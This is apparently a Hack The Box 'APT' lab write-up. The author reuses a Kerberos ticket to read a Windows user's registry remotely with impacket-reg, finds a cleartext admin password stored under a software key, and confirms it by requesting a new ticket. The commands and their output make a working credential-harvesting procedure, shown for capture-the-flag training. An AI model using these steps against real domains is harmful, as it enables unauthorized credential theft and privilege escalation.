Remote Registry Read


Using the TGT of the henry.vinson user, I can attempt to enumerate the registry hive of the target system

┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKLM\' 
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
[-] dcerpc runtime error: code: 0x5 - rpc_s_access_denied 

i am unable to access the root key, hklm, likely due to the lack of privileges

┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\'  
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\
HKU\\Console
HKU\\Control Panel
HKU\\Environment
HKU\\Keyboard Layout
HKU\\Network
HKU\\Software
HKU\\System
HKU\\Volatile Environment

However, I can access the HKU root key I will skip those irrelevant sub-keys and get to the rest

HKU\Environment


┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\Environment'                                                        
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Environment
	Path	REG_EXPAND_SZ	 %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
	TEMP	REG_EXPAND_SZ	 %USERPROFILE%\AppData\Local\Temp
	TMP	REG_EXPAND_SZ	 %USERPROFILE%\AppData\Local\Temp

This is the environment variable for the current user It doesn’t seem to contain much

HKU\Network


┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\Network'    
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Network

The sub-key is empty

HKU\Software


┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\Software'  
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\Sysinternals
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes

Interestingly, the HKU\Software sub-key contains a familiar term, GiganticHostingManagementSystem This must be rather relevant as the target web server is hosting a web application called, Gigantic Hosting

HKU\Software\GiganticHostingManagementSystem


┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\Software\GiganticHostingManagementSystem'
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software\GiganticHostingManagementSystem
	UserName	REG_SZ	 henry.vinson_adm
	PassWord	REG_SZ	 G1#Ny5@2dvht

There is a CLEARTEXT credential for the henry.vinson user, hard-coded into the registry value; G1#Ny5@2dvht The credential requires a validation

Validation


┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ impacket-getTGT htb.local/henry.vinson_adm@apt.htb.local -dc-ip $IPv6
Impacket v0.11.0 - Copyright 2023 Fortra
 
Password: G1#Ny5@2dvht
[*] Saving ticket in henry.vinson_adm@apt.htb.local.ccache

Validated TGT generated for the henry.vinson_adm user

HKU\Software\Microsoft


┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\Software\Microsoft'
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software\Microsoft
HKU\Software\Microsoft\Active Setup
HKU\Software\Microsoft\Command Processor
HKU\Software\Microsoft\CTF
HKU\Software\Microsoft\EventSystem
HKU\Software\Microsoft\FTP
HKU\Software\Microsoft\Internet Explorer
HKU\Software\Microsoft\Notepad
HKU\Software\Microsoft\Speech
HKU\Software\Microsoft\Speech Virtual
HKU\Software\Microsoft\Speech_OneCore
HKU\Software\Microsoft\SystemCertificates
HKU\Software\Microsoft\Windows
HKU\Software\Microsoft\Windows NT
HKU\Software\Microsoft\Windows Script Host
HKU\Software\Microsoft\Wisp

The HKU\Software\Microsoft sub-key contains an additional set of sub-keys within Yet, none of them seem standing out

`HKU\Software\Policies


┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\Software\Policies' 
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software\Policies
HKU\Software\Policies\Microsoft

Another sub-key at HKU\Software\Policies\Microsoft

HKU\Software\Policies\Microsoft


┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\Software\Policies\Microsoft'
Impacket v0.11.0 - Copyright 2023 Fortra

[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software\Policies\Microsoft
HKU\Software\Policies\Microsoft\SystemCertificates
HKU\Software\Policies\Microsoft\Windows

Not much here

HKU\Software\RegisteredApplications


┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\Software\RegisteredApplications'    
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software\RegisteredApplications

Empty

HKU\Software\Classes


┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\Software\Classes'    
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software\Classes
HKU\Software\Classes\Local Settings
                                                                                                                                        
┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\Software\Classes\Local Settings'
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software\Classes\Local Settings
HKU\Software\Classes\Local Settings\MuiCache
HKU\Software\Classes\Local Settings\Software
 
┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\Software\Classes\Local Settings\Software'
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software\Classes\Local Settings\Software
HKU\Software\Classes\Local Settings\Software\Microsoft
 
┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\Software\Classes\Local Settings\Software\Microsoft'
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software\Classes\Local Settings\Software\Microsoft
HKU\Software\Classes\Local Settings\Software\Microsoft\Windows
 
┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\Software\Classes\Local Settings\Software\Microsoft\Windows'
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Software\Classes\Local Settings\Software\Microsoft\Windows
HKU\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell

These are all default setup

HKU\System


┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\System'                                                    
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\System
HKU\System\CurrentControlSet

HKU\System\CurrentControlSet

HKU\System\CurrentControlSet


┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\System\CurrentControlSet'
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\System\CurrentControlSet
HKU\System\CurrentControlSet\Policies

HKU\System\CurrentControlSet\Policies

HKU\System\CurrentControlSet\Policies


┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\System\CurrentControlSet\Policies'
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\System\CurrentControlSet\Policies

Empty

HKU\Volatile Environment


┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\Volatile Environment'             
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Volatile Environment
	LOGONSERVER	REG_SZ	 \\APT
	USERDNSDOMAIN	REG_SZ	 HTB.LOCAL
	USERDOMAIN	REG_SZ	 HTB
	USERNAME	REG_SZ	 henry.vinson
	userprofile	reg_sz	 c:\Users\henry.vinson
	HOMEPATH	REG_SZ	 \Users\henry.vinson
	homedrive	reg_sz	 c:
	appdata	reg_sz	 c:\Users\henry.vinson\AppData\Roaming
	localappdata	reg_sz	 c:\Users\henry.vinson\AppData\Local
	USERDOMAIN_ROAMINGPROFILE	REG_SZ	 HTB
HKU\Volatile Environment\1

Another set of environment variables

HKU\Volatile Environment\1


┌──(kali㉿kali)-[~/archive/htb/labs/apt]
└─$ KRB5CCNAME=smb/hashdump/henry.vinson@apt.htb.local.ccache impacket-reg htb.local/@apt.htb.local -k -no-pass -dc-ip $IPv6 query -keyName 'HKU\Volatile Environment\1'
Impacket v0.11.0 - Copyright 2023 Fortra
 
[!] Cannot check RemoteRegistry status. Hoping it is started...
HKU\Volatile Environment\1
	SESSIONNAME	REG_SZ	 Console
	CLIENTNAME	REG_SZ	 

Rather irrelevant